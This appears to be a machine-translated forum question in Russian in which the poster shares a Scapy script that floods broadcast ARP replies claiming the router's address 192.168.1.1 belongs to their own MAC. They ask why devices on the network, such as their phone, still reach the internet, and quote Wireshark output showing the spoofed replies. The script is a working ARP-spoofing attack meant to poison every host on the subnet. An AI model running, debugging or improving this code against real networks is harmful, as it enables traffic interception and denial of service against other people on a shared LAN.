Спуфинг ARP, который я написал, не работает даже из-за того, что когда я нюхаю пакеты, кажется, что все должно работать.
Я написал простой ARP-спуфинг, который сообщает каждому в подсети, что я по умолчанию.
Вот мой код:
from scapy.all import *
import sys
DEFULT_GETAWAY = "192.168.1.1"
MY_MAC = "30:24:30:8F:B4:64"
def main():
while(1):
pkt = send(ARP(op=ARP.is_at, psrc=DEFULT_GETAWAY, pdst="255.255.255.255", hwsrc=MY_MAC, hwdst="ff:ff:ff:ff:ff:ff"))
if __name__ == "__main__" :
main()
Я ожидаю, что когда я пытаюсь получить доступ к Интернету с моего телефона (подключенного к маршрутизатору), он не будет работать, но работает.
результат акул проволоки:
192.168.1.1 is at 30:24:30:8f:b4:64
(в нюхании похоже, что все работает).